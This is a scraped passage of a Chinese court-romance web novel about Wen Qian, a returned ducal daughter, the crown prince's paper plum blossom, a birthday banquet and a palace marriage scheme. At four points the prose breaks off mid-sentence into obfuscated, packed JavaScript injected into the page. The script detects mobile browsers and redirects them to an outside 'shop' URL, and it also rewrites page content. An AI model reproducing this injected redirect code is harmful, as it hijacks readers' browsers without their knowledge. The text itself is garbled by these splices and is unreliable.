似曾相识。年幼的时候,闻浅喜欢折纸,纸兔、纸梅花、纸元宝,还有指护甲,什么都会折。只可惜,现在忘了个干净。 在盈春楼的时候,有很长很长一段时间都非常难熬。无休止的粗活、刺耳难听的谩骂、不合胃口的饮食……尤其是当她在深夜不可遏制地回想起自己曾在云京时金枝玉叶的生活,一经对比,在盈春楼如尘泥一般的日子便更加痛苦。 她实在不知道为什么父亲要把她丢下。 所以,心上好像筑起了防线,把多年前在云京的记忆都封锁了起来,各种各样的回忆都模糊着泛起雾气。 “纸上画小猪,模样很特殊。” 纪翀两只手打开叠好的纸梅花,里面赫然是一头……朱笔画的小猪头,圆鼻子小眼睛,看上去滑稽又可笑。 闻浅眼底闪过不解,跟着纪翀重复念了一遍:“纸上画小猪,模样很特殊?” 纪翀神色认真温柔,指腹摸了摸纸上的朱笔小猪头,又亲手将纸片复原成梅花的样子。 泛黄的纸,红色的猪头,叠成梅花的样子,竟然还真有些像覆雪的红梅。 纪翀:“纸叠梅花出,君非池中物。” 闻浅不知道该说什么好,捏着书册伫在一旁。方才从纪翀嘴里说出来的一溜诗,实在是……颇具童趣,很难想象一国储君竟然还会这么叠纸玩,和他芝兰玉树的形象颇有些格格不入。 纸上画小猪,模样很特殊。纸叠梅花出,君非池中物。 闻浅垂眸在心里又默念一遍,又看向纪翀,眨了眨眼,眸光带着茫然,不解纪翀何意。 闻浅:“不过我也会画这个猪。” 听闻浅这么回答,纪翀朗声大笑起来。 这一笑,确实化解了他身上拒人千里的感觉。 闻浅也不禁附和着微笑起来,嘴角泛起两个梨涡。 难怪哥哥说纪翀只是看着冰冷,而不是真的冷若冰霜?谁家冷若冰霜的人会大笑成这样? 纪翀笑了会,问闻浅:“你还记得吗?” 闻浅:“什么?” “这首诗,你还记得吗?”纪翀看着她的眼神里带着期待。 很快反应过来,这首诗,大概是自己曾经告诉纪翀的?然而,闻浅搜刮着自己脑海里的每一寸角落,丝毫没有这首诗的痕迹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481308|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻浅弱弱开口:“殿下先前,不是不认识我吗?” 之前迎春宴的时候,纪翀虽然替她解了围,但看上去很陌生的样子。 “嗯?”纪翀挑眉,手里拿着纸梅花,起身,走向她,“孤什么时候说不认识你了?你是定国公府的掌上明珠,心灵手巧的闻浅大小姐,孤怎么会不认识。” 又把那日的话重复一遍。 纪翀比闻浅高了大半个头,将烛火挡在身后,暖红的火焰勾勒着他清隽挺拔的身姿。 见他过来,闻浅下意识地后退:“那是臣女误会了。” 什么蹩脚的打油诗,闻浅早就忘得干干净净。 觑着纪翀的脸色,闻浅不想撒谎:“这纸梅花,臣女很久没有折过了,已经忘得一干二净。” “行,忘记了也正常。”纪翀把纸梅花塞到闻浅手里,“闻浅小姐,这么多年,孤很想亲自跟你说一声谢谢。现在终于有机会将这朵纸梅花亲手还给你。” 闻浅眨眨眼,难怪那日纪翀要替自己解围,原来是自己曾经在云京和他有过交集。 只是为什么自己不记得这首诗了? 纪翀安排车马送闻浅回府。坐在车厢里,闻浅看着捧在手心的纸梅花,十分不解。 她的确一点都想不起来和纪翀有过任何交集了。 只是忘却实在正常不过,闻浅遂放弃在记忆里大海捞针。 * 回了落梅院,映杏欢欢喜喜地为闻浅沏上一盏荷叶茶。 映杏道:“小姐您快尝尝吧,荷叶茶最是清热明目。这荷叶新鲜着呢,老夫人特地叫人送过来的。” 闻浅随手把纸梅花放在桌子上,端起茶盏尝了一口:“不错,是很清新。” 注意到纸梅花,映杏问道:“今日是小姐第一日上太学,不知一切可还适应?这梅花是小姐折的么?奴婢记得小姐小的时候最会折这些了。” 映杏性子活泼,丝毫不惧闻浅,说起话来没完没了。 “适应的话,也就那样,好多都听不懂。”闻浅道,“不过这纸梅花,我以前真的会折么?我怎么不记得了。” “那时候小姐还小,不记得也正常。”映杏笑道,“一会用完晚膳,小姐记得继续涂药膏,一双手可要好好护好。” 映杏九岁被卖入定国公府当丫鬟,一来就跟着闻浅,她比闻浅年长四岁,对闻浅小时候很多事都印象深刻。 “这纸梅花不是我折的,是太子殿下赠送给我的。”闻浅看着映杏道,“我以前认识太子殿下吗?” 映杏眨眨眼:“太子殿下送的?奴婢不记得小姐从前和太子殿下有什么交集啊。” “我也不记得了。”闻浅道,“以前太子殿下不是养在重门宫吗?我在云京,最多皇宫去的算多。” 两人说话间,晚膳也被映棠端了上来。 小厨房每天都变着花样想讨闻浅的欢心,今日做的三菜一汤,又配了精致可口的点心,看着很有食欲。 “老夫人心疼小姐,不管是吃的还是穿的,都是顶顶好的。”映杏殷勤地给闻浅布菜,“小姐您尝尝这筷豆腐,鲜得很。” 闻浅却不急着用膳,她撩开衣袖,看见手臂上泛红还有些发痒,忍不住轻轻挠了挠:“不知为何,我总觉得这身新衣服穿着难受得很。” “怎么会?”映杏奇怪道,“这衣服是由那日老夫人送来的云锦做的,用料最好不过了,穿着细腻如水。” 闻浅冲映杏伸出手臂:“我怎么觉得硌得慌,你摸摸。” 映杏伸手摸了摸,脸色一变,看向站在饭桌一旁侍奉的映棠。 映棠被映杏的眼神吓到,匆匆垂下头去,两只手绞紧了上裳的摆子。 11. 明月夜 “怎么了,映杏?” 映棠垂着头,听见闻浅询问的声音缓缓响起。小姐的声音是好听的,此刻却如刺刀一样刮擦着她的内心。 映杏跟在老夫人身边伺候那么多年,见多识广,一定发现料子的不对劲了。 映棠心里滚过一阵紧张,看向映杏。 “映棠,小姐身上这件衣服到底是用什么料子做的?”映杏冷冷道。 “就是云锦呀。”映棠眼睛睁大了。 见映棠不承认,映杏冷哼一声:“你居然还敢嘴硬?云锦的材质摸上去柔软舒适,可小姐身上这件摸上去分明粗糙至极!” 映棠抖了抖,这才慌忙跪了下来,两行泪水刷地从眼眶里掉下来:“奴婢、奴婢知错了。” 闻浅坐在位置上,没有说话,只是看着她。 倒是映杏气极,上去就去拧映棠的耳朵:“你个贱丫头!连你也敢以次充好,欺负到小姐身上是不是?是小姐待你不够好么!” “小姐对奴婢极好,求小姐饶了奴婢!”映棠泪水糊满了脸,忙不迭磕头求饶,“奴婢、奴婢也是迫不得已,求小姐原谅。” “你说说,你有什么苦衷。”闻浅递给映杏一个眼神,示意她先不要动她,让映棠说下去。 映杏:“赶紧说!你要是说不出什么能让人消气的由头来,我这就去告诉老夫人,看老夫人要不要发卖了你!” 映棠这才哭哭啼啼地把原由说了出来。 原来映棠在府里有个姐姐,名唤瑶琴,本也是指来伺候闻浅的。谁想闻浅来的第一日就精简人手,于是瑶琴就被二小姐闻潇要了去。瑶琴在芳菲院受尽了欺负,一个月前下了一场大雨,他们竟叫瑶琴在雨中罚跪整整两个时辰,自此瑶琴发了一场高烧,重病在床。没想到一直到现在都不见好,反倒被闻潇赶出府去了。为了给姐姐看病,映棠想不出别的办法,只好出此下策,偷拿了昂贵的云锦变卖,给瑶琴换救命钱。 “在府里,奴婢就瑶琴一个姐姐,不能不管我姐姐啊。”映棠一边哭一边又重重磕头,“小姐,您怎么气奴婢都可以,但……但您救救我姐姐吧!” “你先起来说话。”闻浅托着腮,思索。 她的心肠又不是铁石做的,怎么会没有恻隐之心。 闻浅:“想来还是要怪我,如果不是我,你姐姐也不会去伺候二小姐。” “奴婢不是这个意思。”映棠惊恐道,她以为闻浅要借题发作,一时心如死灰。 闻浅叹了口气,眸中染上不忍:“映杏,你吩咐小厮去映棠说的地址,看看映棠说的是否属实?” 没多时,小厮回报,一切属实。 闻浅定定地看着映棠:“去取五十两银子来。五十两,够不够?” “够了。”映棠惴惴道。 映杏怒道:“现在五十两就够了?你若直接和小姐说,小姐又岂会不给?你可知一匹云锦要多少两?你居然就十两一匹贱卖了去!你呀你!” 云锦一匹能卖到百两都不足为奇,何况这般稀罕的东西向来是有价无市。 闻浅道:“好了,事情已经发生,再气恼也无济于事。映棠偷拿东西,是德行有亏,但念在是为了救姐姐。唉,就罚你这十天,每天额外打扫一遍落梅院吧。” 映棠不可置信地抬起头,看见闻浅温柔的脸,心中愧疚与感动纠缠在一起,嗫嚅道:“小姐,小姐……” 闻浅又吩咐道:“映杏,你叫府里的大夫去给瑶琴看病,要是瑶琴病好了没地方去,就还是回落梅院领个清闲点的活吧。” * 转眼又过了一段时日,五月十六正是老夫人寿辰。由薛清梨主持,定国公府举办了一场家宴。老夫人低调惯了,特意吩咐只要家里的人还有亲近的亲人聚聚便也就罢了,不要大操大办。 老夫人是一品诰命夫人,一大清早,宫里的赏赐就大批大批地抬进了定国公府。 为给老祖宗亲生,在家塾里上学的几个小姐公子都被免了假。闻潇和闻浅因着在太学读书的缘故,没有被免假。 桑榆时分,闻浅才回到落梅院。一回到院子里,就被映杏拉着在梳妆台前坐下。 “小姐今日可要好好打扮打扮!”映杏欢喜道,随后又叫过来一粉衣丫鬟,长脸长眼的,看着颇为端婉。 闻浅从梳妆镜里望着粉衣丫鬟,觉得她很是眼熟。 “这位就是映棠的姐姐瑶琴。”映杏道,“先前小姐说要是瑶琴病好了没地方去,就回落梅院伺候。瑶琴说她擅长医术,又和映棠一样擅长编发,我便想着叫她来给小姐编发了。” 闻浅点点头:“原来如此。” 瑶琴含泪道:“奴婢多谢小姐救命之恩,定当全心全力伺候。” 瑶琴灵巧的双手挑起小姐黑鬒鬒的长发,熟练地将头发分成几缕,盘绕间三两下就编了个随云髻。 “小姐从没梳过这个发型,看着叫人眼前一亮,奴婢还以为是仙女下凡了呢!”映杏夸赞道。 “编得是不错。”闻浅也笑道。 映杏:“小姐你看看,今天要戴什么发饰?” 先前闻浅一直带着闻潇送的金镶珍珠簪,被老夫人注意到后叫人送来了十几件不同的发饰。 视线一一扫过,最后停留在一个红梅流苏钿上。以纯金为底,形状如一朵凌雪而放的梅花,梅花花瓣上镶嵌着圆润的珍珠,尾部还有流苏坠着,看上去灵动又活泼。 闻浅指了指:“就这个吧。” 映杏奇道:“好美的钿子,只是奴婢不曾留意,小姐是什么时候得到的?” “这只钿是太子殿下送的。”闻浅笑道,“白纸换真金,还真是划算。” 前几日闲来无事,便照着纪翀给的纸梅花,摸索着折了七八朵,又挑了折的最好的一朵,叫哥哥闻峥带给太子殿下。哥哥回府的时候,就给她送来了这只金钿,说是太子的回礼。 * 家宴定在花园里,正式开始时,天色已经快要黑透了。园子里张灯结彩,倒是处处洋溢着喜庆的氛围。正中的主位上,老夫人今日身着一袭暗红的锦袍,头上难得带了珠翠,面容慈祥。闻浅被特意安排坐在老夫人的右侧小桌,在闻浅旁边坐着的是闻潇。 一曲丝竹结束,长房公子闻峥走上前来,示意后面跟着的两位小厮展开卷轴。 闻峥作揖恭敬道:“今日是祖母大寿,孙儿为您准备了一份寿礼,愿您福寿安康。” 老夫人微笑着看向卷轴,原来是一副泼墨山水图,气势恢宏、浓淡相宜。但尤其令人称道的是那笔走龙蛇、气势磅礴的题诗。众人定睛一看,皆是一惊,只因落款处赫然盖着的正是太子印玺。 闻峥道:“这幅画由孙儿所作,但题诗乃是太子所题。殿下托孙儿向祖母问好。” 听了这话,宾客中响起一片惊叹声。一位年长官员捋着胡须赞叹道:“此字妙极! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503083|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和闻公子的画作相配简直相得益彰!今日得见太子墨宝,实乃三生有幸。” 另一位宾客也拍手附和道:“太子殿下不仅书法精湛,更是胸怀大志,仁爱百姓,真乃国之栋梁。” 老夫人笑道:“不错,太子殿下自幼聪慧过人,书法果然也是一绝。” 众人纷纷夸赞起太子和闻峥,他们都知道定国公府家大业大,和东宫关系非同小可。 而坐在偏远位置的闻洛,看向闻浅和闻潇那边眼神不由带了些艳羡。她虽是嫡出,却是二房家的,不能入太学学习,只能在家塾上课。平日里也不得老夫人宠爱,精心准备的礼物恐怕老夫人都不会太放在心上。 欢声笑语间,闻潇突然注意到姐姐头上戴了个之前自己从没见过的首饰,便问道:“大姐姐,你头顶上这朵梅花钿好生漂亮,是哪里来的?” 闻浅太手摸了摸,也不避讳,笑道:“是太子殿下所赠。” 听了这句话,倒是闻潇脸色一变:“你说是太子殿下送给你的?” 注意到这边的动静,偏薛清梨今日喝多了些,说起话来一时忘了分寸,举着酒杯对老夫人说:“老祖宗,你可不知道,咱们小浅也是到了婚嫁的年纪了。” 老夫人:“到了婚嫁的年纪又怎样?” 闻潇插嘴道:“祖母,之前在宫里,姐姐说喜欢太子!” 全场视线落过来,闻浅犹疑片刻,没有否认。 二房夫人罗氏觑着薛清梨,主动皱眉开口道:“浅儿,不是叔母说你,你已经不小了,该为自己的未来考虑考虑了,我们一大家子都希望你能早日找到一个好归宿。” 闻浅:“叔母这是何意?” 闻潇:“你还听不懂?叔母是劝你不要有非分之想……” 话还没说完,就被老夫人打断:“潇儿!” 但众人都开始议论纷纷,他们也觉得闻浅和太子不太可能。闻浅年幼时的确聪慧伶俐,只可惜好的才赋都被磨灭在陇烨了,如今的闻浅不仅诗书礼乐忘了七七八八,管家管账的能力更是一窍不通。就算嫁到普通的世家贵族当主母都够呛,更别说入东宫为太子妃了。 他们探究的视线落到闻浅身上,觉得她虽然生得漂亮,但难免沾染了盈春楼的轻浮气,和被精心培养多年落落大方闻潇比起来,实在有些比不上。 一位夫人也说:“闻大小姐,太子乃是未来的国君,他的婚姻一事定要以国家社稷为重。有的时候,皇宫险象环生,倒还不如找个普通人家平稳度日的好。” 老夫人面露不愉,薛清梨忙开始调和周旋,说了些有的没的哄老祖宗开心。 今夜是十六,明月高悬,月凉如水,清冷而柔和。 寿宴渐渐结束,闻浅搀扶着老夫人回荣瑞堂。 “月圆人不圆!也不知鸿观和国公爷在塞外一切可都安好?”老夫人仰头望明月,想到了自己远在沙场的丈夫和长子,不由叹息一声。 从前不懂什么叫做“千里共婵娟”,如今望着这轮明月,闻浅不由想。 还好。还好玉行还活在这个世上,叫自己还有些念想。他如今,应该也能看到这轮明月吧。 闻浅轻声道:“一定会好好的。” 尽管闻浅如今的身份,已经是尊贵的闻府大小姐;而玉行不过是一来路不明的琴师,琴艺甚至还不及她,可她就是觉得他很好。 就像明月一样,美好,而又遥遥不可及。 12. 漾苦涩 同样是一轮明月,照在塞外似乎更明亮些。 夜色凉,月如霜,云气尽收,干戈相见间,肃城外扬起细沙。 冉氓大军兵临城下,十六月圆之夜夜突如其来的袭击令守城的将士们猝不及防。 定国公站在城头,眺望黑云般压过来的冉氓大军眉头紧锁,问身旁谋士:“军中谁可随吾迎战?” 谋士周胜摇头说:“一连三日的败仗让军中士气不振,几位将军皆受了重伤,眼下怕是只能弃城保帅了。” 定国公握着手里的长枪,青筋毕露,眼神中喷射出怒火与深深的绝望:“那银州的援军呢?” 周胜为难道:“银州不肯出兵。” “岂有此理,怎能弃一城百姓于不顾!就算决一死战,也要拼死保住肃城。”定国公冷冷道,“你去帐中把吾儿鸿观叫过来。” “公爷不可!闻大将军他受了重伤,不可上战场。”周胜忽然噤声,转头难以置信地指着城下,“公爷,快、快看。” 八百头戴青铜头盔的精兵,兵分两队,势如羽翼声如惊雷,浩浩荡荡地自西边杀至冉氓军前。 守城将士先是一愣,很快反应过来,自发带头向冉氓大军冲锋。 定国公观望了一会,忽然笑了:“他回来了。” 周胜难以置信,紧紧盯着交战的双方。自高墙上往下看,只看见密密麻麻的人头,如蚁群一般。 大战数回合,冉氓军大势已去,溃败得不堪一击。只见一身着黑色战袍的青年将军自贼阵杀回,他猿臂狼腰,右手执长剑,左手提冉氓大将库尔班的头颅,坐骑白骏马,左冲右突,在混战中却似入无人之境,径直杀回城门下。 守城门的几位士卒被他身上的杀意吓得一凛,只怔愣地看着他。 他飞身下马,随手将头颅扔在地上,后摘下银色面罩,露出玉容,冷声道:“本王在此。” 随后仰首抬眸,望向定国公。 几位士卒忙跪拜在地大呼:“参见肃王!” 城门缓缓打开,定国公和周胜亲自下了城墙前去迎接。 * 五月十九,太学放课后。 菱花窗外斜阳照着水光潋滟的青墩湖,闻浅脑海里还嗡嗡地回荡着夫子念课的声音,她不慌不忙地把书册、笔墨塞回锦袋里。 听哥哥说,这几日大理寺有个案件要协同刑部一同审理,关系重大,太子也会来亲自察看。所以她决定去大理寺找一下哥哥,顺便见见好久不见的太子殿下。 说来也不知为何,想起纪翀的时候,闻浅总是忍不住心情愉悦。 她该如何描述这种心情,大概是眷恋他身上那种和玉行相似的冰冷与温暖吧。 把感情转移到另一个人身上,是缓释痛苦的良方。 她想见到他,想要和他多说几句话。就像当初在盈春楼时,每日弹琴都希望玉行能恰巧经过。 在最绝望痛苦的时候,他是她唯一的灯。 他是如此慷慨,施舍给她那么多光亮。 所以她开始憧憬他,暗恋他,为了他奋不顾身,只想和他在一起。 但偏偏也是他,决绝地拒绝了她。 他说。 闻浅,忘了我吧。 …… 没关系,她会给他找借口,他一定是有苦衷的。 时间在流逝,冲淡了不少历历在目的往事,可那段一触就痛的回忆让闻浅心中又漾起苦涩。 “姐姐,你都收拾好了吗?”闻潇走过来,语气一如既往地不耐烦。 闻浅起身,点点头:“今天我要去找哥哥,就不跟你一起回去了。” 闻潇眉头一皱,杏眼看着闻浅:“你找哥哥干什么?哦,我知道了,是不是想去找太子吧?” 闻浅没有否认,只是微微一笑,嘴角泛起两个惯常的梨涡。 闻潇转开视线,望向一碧万顷的青墩湖:“今天不行,今天你得陪我去宫里找怜妃娘娘。” 闻浅:“为什么?” 她不太想入宫,更不想去怜妃宫里。 闻潇心里算盘打得啪啪响,她知道今天四皇子纪明会在怜妃处用晚膳,她当然要撮合闻浅和纪明认识一番了。 “哪有那么多为什么!”闻潇哼了一声,“怜妃娘娘想我们了,想和我们说说话不行?” 闻浅只是看着她。 “……我一个人进宫不敢,你就陪着我去吧。姐姐!”闻潇硬着头皮,又哄着闻浅道,“你看你今天打扮得多好看啊,一身翠绿的留仙裙正是当下时兴,给怜妃娘娘看看多好。而且我已经跟府里说了,今天我们两人留在宫里用晚膳,你就去嘛,去嘛。” 见闻潇再三恳求,虽然不知道她葫芦里卖的什么药,闻浅也只好点点头:“好吧,那我陪你去怜妃娘娘那里坐坐。” * 怜妃住的永和宫为前后两进院。圣上宠爱怜妃,亲自在永和宫里设计了一座水晶殿,给怜妃消暑用。 高质量的透明琉璃瓦、水晶石不计其数地堆砌,有潺潺流水自殿顶不断泻下,营造晶莹剔透的效果,阳光照射进来的时候印在墙壁之中的大缸上,五彩斑斓间有无数名贵游鱼不断穿行。宫殿地面是由大理石铺就而成的,宫殿中还摆放了珍贵的瓷器玉器,里面置放着大量的冰块,奢华程度可见一斑。 千金建造水晶殿,消散暑气为红颜。 如此一份恩宠,建朝以来也就独怜妃一人所有。 皇后亡故后,凤印先由齐贵妃掌管,再后来齐贵妃亡故,协理六宫的权限便由怜妃、德妃、淑妃、丽妃四人一同享有。 难怪宫中有议论说,虽然怜妃出身低了些,但颇得圣宠,有望被册封为贵妃,独揽后宫凤印。 方才在外面行走时暑气蒸腾,进了水晶殿闻浅竟倒觉得一阵寒意。她被闻潇拉着向怜妃行礼。 “在本宫这还客气什么?”怜妃噙着笑意,仪态端婉大方,倚在凤椅上,吩咐婢女璎珞给二位赐座。 怜妃客套道:“自迎春宴后,就没有见过浅儿了,潇儿倒还常来宫里走动。你呀,也不来宫里坐坐。” “那不是姐姐在太学学业繁忙,不得空吗?娘娘你可不知道,夫子可是常常夸奖姐姐读书用功。”闻潇笑嘻嘻替闻浅回答道,毫不客气地捻了块糕点塞进嘴里,“娘娘宫里的糕点是最好吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533254|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 怜妃和闻潇的生母薛清梨曾经一起在宫里做女官,是共患难的好姐妹。 比起闻潇的自在,闻浅显然规矩得多,毕竟她和怜妃实在说不上多相熟。 闻浅看着琉璃缸里咕嘟咕嘟的上浮水泡,里面五颜六色的小鱼快速地游动着。 很多年前,她还小的时候,也常常入宫。只不过那个时候,宫里最受宠的是齐贵妃,而怜妃只不过是一个小小婕妤。 那个时候,母亲周氏还在,薛清梨不过是位姨娘,还是庶女的闻潇都没有什么出府的机会。她可怜自己这个虽不是同一个娘养的妹妹,所以每次在齐贵妃那里吃到什么新奇的零嘴,都会给闻潇带点回去。她还记得,闻潇最喜欢吃的就是齐贵妃宫里的糖渍杏干。那时候,潇儿总爱缠着和自己玩。 只可惜,闻浅后来听说齐贵妃难产死了,一尸两命,自此一代宠妃陨落。然而这件事被圣人封锁住了,成为了宫廷秘辛。 怜妃又向闻潇问起了府里的事情:“许久不曾见到你母亲,不知清梨最近可还安好?” 闻潇笑道:“母亲一切都好,前几日还跟潇儿说起您呢。” 闻潇和怜妃两人谈话,闻浅也没有插嘴的份。她静静看着闻潇,一时心头感慨。她在陇烨的这七年,确实让妹妹和自己之间生了许多隔阂。即使想消弭这些隔阂也有心无力。 “母妃,是不是潇儿入宫来看您了?”欢快女声自殿外传来,正是纪云照捏着淡粉裙摆跑进殿中。 “公主,你慢些跑。”山岚跟在后面。 闻浅循声望去,却看见一打扮雍容,体形却憨态可掬的皇子慢慢走进殿里。 不顾是爬了二十级台阶,纪明已经气喘吁吁,他按着膝盖:“就是,妹妹你跑这么快做什么?” 怜妃看着自己的儿子,有些恨铁不成钢地捏捏额头。 纪明和纪云照:“给母妃请安。” 怜妃:“免礼,都坐下来准备用晚膳吧。” “咦,闻大小姐,你怎么也在这?”看到闻浅时,纪云照声音明显带了些惊奇。 纪明顺着纪云照的视线望过去,先是看到娇俏可爱的闻潇,冲她讨好地笑了笑,随后望到闻浅后一怔,竟露出了副看呆了的痴相:“原来……原来这位就是在陇烨走丢的闻大小姐,竟生得如此貌美!我看分明是仙女下凡。” 被纪明痴痴的视线打量着,闻浅也不恼,平淡而又规矩地请安:“见过四皇子。” 纪明年幼时发了一场高烧,烧退后脑子却不正常了,平时看着疯疯癫癫的,也没个人样。 “不知闻大小姐可有婚配?”纪明毫不客气地就问。 闻浅捏紧了手帕,看了看闻潇,又看了看怜妃。 怜妃眼底的笑意不抵深处,她是有意让纪明娶定国公府的一位小姐为妃的。定国公府家大业大,有了定国公府的扶持,纪明就算再不堪也能有多几分胜算。如果潇儿愿意那是再好不过了,奈何潇儿看不上纪明。 至于闻浅,不过是个没有生母庇佑的大小姐,何况又在盈春楼那上不得台面的地方待了那么多年。纪明能够看上她,也算闻浅修来的福气了。 13. 她不太懂 闻浅不卑不亢道:“臣女目前没有婚配,但臣女已经有喜欢的人了。” 纪明脸上难掩失落之色:“不知是谁家才俊能入闻大小姐的青眼。” “她呀,看上的郎君是太子殿下。”闻潇掩唇一笑,说话语气里透着夸张,还给纪云照递神色,示意纪云照帮腔。 纪云照却只是默默夹了块水晶豆腐,什么话都没有说。 “太子哥哥?”听了这话,纪明脸上的肥肉挤在了一块,难以置信地重复了一遍,“大小姐,你看上了太子哥哥?” 怜妃也叹口气:“浅儿,小半年过去了,你还是没有放下太子么?” 闻浅一怔。 时间快得可怕。回到云京竟然已经三月有余。 仔细算算,她已经大半年没再见过玉行公子了,以后大概,也是没有机会了吧。 “我还没有放下。” 怜妃摆出了长辈姿态,教导道:“浅儿,不要在没结果的事情上浪费力气。” “可闻浅是嫡国公府嫡长女,就连她的身份也不配做太子妃嘛?”纪云照忽然插嘴道,“那京中还有谁配?” 闻潇看着闻浅,嗤笑一声,眼珠子转了转,什么都没说却比说了更有力。 在场的人都心知肚明,闻浅配不上纪翀的,不是外在的身份,而是内在的涵养。毕竟,闻浅最宝贵的七年都在盈春楼荒废了。 闻浅掐着手心,直到手心被掐出月牙,她慢慢垂下眸去。 “身在高位,很多时候两情相悦并不能解决问题。”怜妃道,“何况太子冷心冷清惯了,谁都不放在眼里。与其徒废气力,不如早些认清现实。” 闻潇笑道:“是啊,姐姐,你看看咱们四皇子殿下如何?我看他孔武有力,又听话又壮实,倒是不错呢。” 听到闻潇如此夸赞,纪明根本没有领会到深层的意思,只像个孩童一样冲着她露出了天真的笑容。 闻潇眼底划过嫌恶,她虽然尊重爱戴怜妃娘娘,但对她这个儿子实在是看不上眼。 怜妃笑道:“浅儿也不小了,再过了年就要十八了,你若是和明儿处得来,本宫可以去圣上跟前求一求赐婚。” 饶是淡定如闻浅,也被怜妃的“赐婚”骇到。她抬眼看了一眼纪明,随后客气礼貌又坚定地摇摇头:“多谢娘娘美意,但臣女还是想争取一下。” * 从永和宫里走出来,天色已经黑透了。 长街上,闻浅走在前,闻潇走在后,印公公提灯引两位小姐出宫。 闻潇突然对姐姐话多起来,叽叽喳喳地说:“大姐姐,我看这四皇子倒算是良配呢。” “你和四皇子殿下还是青梅竹马,感情自然深厚。”闻浅无奈回了一句。 闻潇被闻浅这句话气得一噎,她才不要和肥胖痴傻的纪明感情深厚呢! 经过御花园的时候,闻浅忽然闻到一股呛人的烧纸味。 透过层层葱茏望去,闻浅看到不远处的溪流边竟有一深色宫装女子未着鞋履在戏水,身边也没个宫女伴着。 夜色中,两人对上了视线。 女子披头散发,脸上有道丑陋的伤疤,已然是毁容的模样。她忽然咧开嘴,露出森森白牙,朝闻浅一笑。 笑意极其虚浮,看得闻浅有些害怕,她小声叫住了印公公:“公公,晚上怎么会有女子在御花园里戏水?” 闻潇顺着闻浅所指的方向看过去,也被吓了一跳:“晚上难免吓人,没人管管么?” 印公公朝那边看了一眼就收回目光,见怪不怪掐着嗓子细声细气道:“哦,她呀。冷宫的高才人。” “高才人?是肃王殿下的生母么?她现在怎么成这幅样子了。”闻潇问。 听了这句话,闻浅没忍住回头又看了一眼疯妇。 “疯了呗,这在宫里也不难怪。”印公公琢磨道,“估计是冷宫的方嬷嬷没看住,让她给偷跑了出来。两位小姐快随咱家出宫吧,天黑露重,不要再久留了。” 印公公快步绕道走出了御花园,对行夜的带刀侍卫说了几句话,两个身强力壮的侍卫便匆匆进了御花园抓人。 * 翌日傍晚,闻浅带着婢女映杏来到了大理寺门口。 门口侍卫认出她是闻峥的嫡妹,便通报一声,没多阻拦就放她进去了。 狱卒告诉闻浅,今日闻峥外出不在寺内,倒是太子殿下在审理案件。 闻浅微笑道:“我就是来寻太子殿下的,劳烦你告诉我,太子殿下在何处?” 狱卒看了她一眼,有些纠结,但还是给她指了方向。 闻浅站在廊下,房门紧紧闭着。 闻浅道:“眼下已是日暮时分,太子殿下已经罢职了吧?可否让我进去和太子殿下见一见?” “大理寺乃是明镜高悬之地,太子殿下如今审理要犯刚刚结束,岂是你想见就见的?”门口当差的衙役义正言辞道,哪怕她是定国公府嫡出大小姐也不为所动。竟然是连通报也不进去通报一声,兀自把闻浅拦在门外。 映杏怒道:“这个时间太子殿下早就已经忙完了,我们小姐想见见太子,你好歹进去通报一声吧?怎的就这样把我们小姐拦在门外?” 衙役哼了一声,趾高气扬道:“闻大小姐未免太过任性,这大理寺可不必什么莺莺燕燕之地,容不得谈情说爱,您就不要为难我们这些当差的了。” 显而易见的刁难。 衙役这番话仿若一记耳光掴在闻浅脸上,她恍然想起了不久前,被闻潇拦在芳菲院外,闭门不见的场景。 难堪,落魄,一如当日。 虽然她不在意。 然而她的心又不是石头做的,又怎么会真的不在意? 是她不配了。 心像被一双手紧紧抓住,闷得慌。 闻浅拉住还要理论的映杏:“罢了,日后我们去东宫寻太子便是。” 转身要走时,却听见大门吱嘎一声被推开,一阵脂粉的香气顺着晚风飘来。 闻浅望过去。 是一名极其姝丽、落落大方的贵女从屋内踏了出来。一头如瀑青丝挽成高髻,搭配淡粉珠花,灵动而秀美;一袭樱色广绣留仙裙,裙上还绣有精致的花鸟图案。她的手里还提着一个食盒。 映杏小声道:“这位就是首辅嫡女,秦楚黛秦小姐。” 闻浅一愣,脑海里自动补上了前缀。 京城第一贵女,秦楚黛。 今日一见,果然是名不虚传。 秦楚黛看见廊下站着的闻浅,顿住了脚步。 闻浅今日穿着一袭翠烟百花群,腰间别着的正是那日太子所赠的玉佩,头发挽成垂挂髻,看上去也是极为标致出尘。 秦楚黛仔细回想了一遍京中诸位贵女,但显然,她不认识她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 